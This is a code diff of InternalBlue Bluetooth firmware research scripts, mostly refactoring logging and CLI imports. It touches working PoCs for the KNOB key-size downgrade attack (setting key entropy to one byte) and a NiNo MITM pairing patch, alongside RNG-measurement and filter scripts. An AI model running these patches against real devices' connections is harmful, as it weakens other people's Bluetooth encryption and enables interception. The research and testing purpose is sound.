Filter connections by MAC address before entering LMP dispatcher.
|
||||
@@ -96,22 +96,22 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first d
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for LMP MAC address filter.")
|
||||
internalblue.logger.info("Writing ASM snippet for LMP MAC address filter.")
|
||||
code = asm(ASM_SNIPPET_LMP_FILTER, vma=ASM_LOCATION_LMP_FILTER)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_LMP_FILTER, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
log.info("Installing MAC address filter hook patch...")
|
||||
internalblue.logger.info("Installing MAC address filter hook patch...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_LMP_FILTER, vma=HOOK_LMP_FILTER)
|
||||
if not internalblue.patchRom(HOOK_LMP_FILTER, patch):
|
||||
log.critical("error!")
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("Goodbye")
|
||||
internalblue.logger.info("Goodbye")
|
||||
|
||||
@@ -6,8 +6,7 @@ import sys
|
||||
|
||||
from internalblue import Address
|
||||
from internalblue.adbcore import ADBCore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
from pwnlib.asm import asm
|
||||
|
||||
"""
|
||||
In a NiNo attack an active MITM fakes that the other device has no in put and no output capabilities. We think smartphones should not accept that or show a big warning ("Is this really a headset without display?!"), but in implementations we saw this does not happen. With NiNo, secure simple pairing will still be present, but in "Just Works" mode which is suspect to MITM.
|
||||
@@ -71,29 +70,28 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first d
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
progress_log = log.info("Writing ASM snippet for NiNo check.")
|
||||
internalblue.logger.info("Writing ASM snippet for NiNo check.")
|
||||
code = asm(ASM_SNIPPET_IO_CAP_RESP, vma=ASM_LOCATION_IO_CAP_RESP)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_IO_CAP_RESP, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_IO_CAP_RESP, data=code, progress_log=None):
|
||||
internalblue.logger.failure("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# all send_lmp functions are in rom...
|
||||
log.info("Installing NiNo hook ...")
|
||||
internalblue.logger.info("Installing NiNo hook ...")
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_IO_CAP_RESP, vma=HOOK_IO_CAP_RESP)
|
||||
if not internalblue.patchRom(HOOK_IO_CAP_RESP, patch):
|
||||
log.critical("error!")
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
# shutdown connection
|
||||
internalblue.shutdown()
|
||||
log.info("Goodbye")
|
||||
internalblue.logger.info("Goodbye")
|
||||
|
||||
|
||||
|
||||
+24
-28
@@ -3,15 +3,17 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
from pwnlib import adb
|
||||
from pwnlib.asm import asm
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 5.
|
||||
@@ -48,7 +50,7 @@ ASM_SNIPPET_RNG = """
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
// done, let us notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
@@ -89,7 +91,7 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
//// issue an HCI event once we are done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
@@ -125,33 +127,28 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
"""
|
||||
@@ -168,20 +165,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -197,13 +193,13 @@ while rounds > i:
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
@@ -214,9 +210,9 @@ f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+22
-29
@@ -1,17 +1,16 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
from pwn import *
|
||||
from pwnlib import adb
|
||||
from pwnlib.asm import asm
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
|
||||
|
||||
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 5.
|
||||
@@ -57,7 +56,7 @@ ASM_SNIPPET_RNG = """
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
// done, let us notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
@@ -85,7 +84,7 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
//// issue an HCI event once we are done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
@@ -121,33 +120,28 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
"""
|
||||
@@ -164,20 +158,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -193,13 +186,13 @@ while rounds > i:
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
@@ -210,9 +203,9 @@ f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -1,14 +1,19 @@
|
||||
#!/usr/bin/python2
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
import sys
|
||||
import argparse
|
||||
from argparse import Namespace
|
||||
|
||||
import cmd2
|
||||
from cmd2 import CommandSet
|
||||
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.cli as cli
|
||||
import internalblue.cmds as cmd
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cmds import auto_int
|
||||
from internalblue.utils.pwnlib_wrapper import u8, p16, u16, log
|
||||
from internalblue.utils.packing import p16, u16
|
||||
from internalblue.cli import auto_int
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Nexus 6P.
|
||||
@@ -26,15 +31,15 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
#patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
|
||||
#internalblue.patchRom(0x4BC6E, patch)
|
||||
# patch = asm("mov r2, #0x1", vma=0x4BC6E) # connection struct key entropy
|
||||
# internalblue.patchRom(0x4BC6E, patch)
|
||||
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
|
||||
|
||||
# modify global variable for own setting
|
||||
@@ -42,7 +47,7 @@ internalblue.writeMem(0x204147, b'\x01') # global key entropy
|
||||
|
||||
|
||||
|
||||
log.info("-----------------------KNOB-----------------------\n"
|
||||
internalblue.logger.info("-----------------------KNOB-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"To monitor device behavior, continue on the CLI, ideally with diagnostic LMP mode.\n"
|
||||
"On Android, this requires a modified bluetooth.default.so.\n"
|
||||
@@ -53,20 +58,13 @@ log.info("-----------------------KNOB-----------------------\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
class KnobCommands(CommandSet):
|
||||
knob_parser = argparse.ArgumentParser()
|
||||
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
@cmd2.with_argparser(knob_parser)
|
||||
def work(self, args):
|
||||
"""Introduce a new CLI command to make KNOB debugging easier..."""
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
@@ -82,19 +80,18 @@ def hciKnobCallback(record):
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
internalblue.logger.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+24
-33
@@ -3,15 +3,17 @@
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
from pwnlib import adb
|
||||
from pwnlib.asm import asm
|
||||
|
||||
from pwn import *
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 6.
|
||||
@@ -56,7 +58,7 @@ ASM_SNIPPET_RNG = """
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
// done, let us notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
@@ -97,7 +99,7 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
//// issue an HCI event once we are done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
@@ -130,40 +132,34 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
|
||||
internalblue.logger.info("installing assembly patches to crash other device on connect requests...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Nexus 6P Launch_RAM fix: overwrite an unused HCI handler
|
||||
# Here it is not called within the handler table but within another function.
|
||||
patch = asm("b 0x%x" % ASM_LOCATION_RNG, vma=0x59042)
|
||||
if not internalblue.patchRom(0x59042, patch):
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
internalblue.logger.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
"""
|
||||
@@ -180,24 +176,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -217,13 +208,13 @@ while rounds > i:
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
@@ -234,9 +225,9 @@ f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+21
-32
@@ -1,17 +1,16 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
from pwn import *
|
||||
from pwnlib import adb
|
||||
from pwnlib.asm import asm
|
||||
from internalblue.adbcore import ADBCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
|
||||
|
||||
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
|
||||
"""
|
||||
Measure the RNG of the Nexus 6.
|
||||
@@ -57,7 +56,7 @@ ASM_SNIPPET_RNG = """
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
// done, let us notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
@@ -86,7 +85,7 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
//// issue an HCI event once we are done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
@@ -119,33 +118,28 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
adb.process(["su", "-c", "svc wifi disable"])
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
"""
|
||||
@@ -162,24 +156,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.info("Random data done!")
|
||||
internalblue.logger.info("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -199,13 +188,13 @@ while rounds > i:
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
@@ -216,9 +205,9 @@ f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -5,14 +5,14 @@
|
||||
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
from pwnlib.asm import asm
|
||||
|
||||
internalblue = HCICore()
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
log.warn("No HCI devices connected!")
|
||||
internalblue.logger.warn("No HCI devices connected!")
|
||||
exit(-1)
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
|
||||
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
|
||||
@@ -68,22 +68,21 @@ ASM_HOOKS = """
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Install hooks
|
||||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
|
||||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
if not internalblue.writeMem(HOOKS_LOCATION, code):
|
||||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
exit(-1)
|
||||
|
||||
log.info("Installing hook patch...")
|
||||
internalblue.logger.info("Installing hook patch...")
|
||||
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
|
||||
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for _connTaskRxDone failed!")
|
||||
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("--------------------")
|
||||
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
|
||||
|
||||
+35
-40
@@ -1,11 +1,18 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
import sys
|
||||
import argparse
|
||||
from argparse import Namespace
|
||||
|
||||
import cmd2
|
||||
from cmd2 import CommandSet
|
||||
from pwnlib.asm import asm
|
||||
|
||||
from internalblue import Address, hci
|
||||
from internalblue.cli import InternalBlueCLI, auto_int
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
|
||||
from internalblue.utils.packing import p16, u16
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3.
|
||||
@@ -17,17 +24,15 @@ This PoC is much shorter since it only modifies global variables for key entropy
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
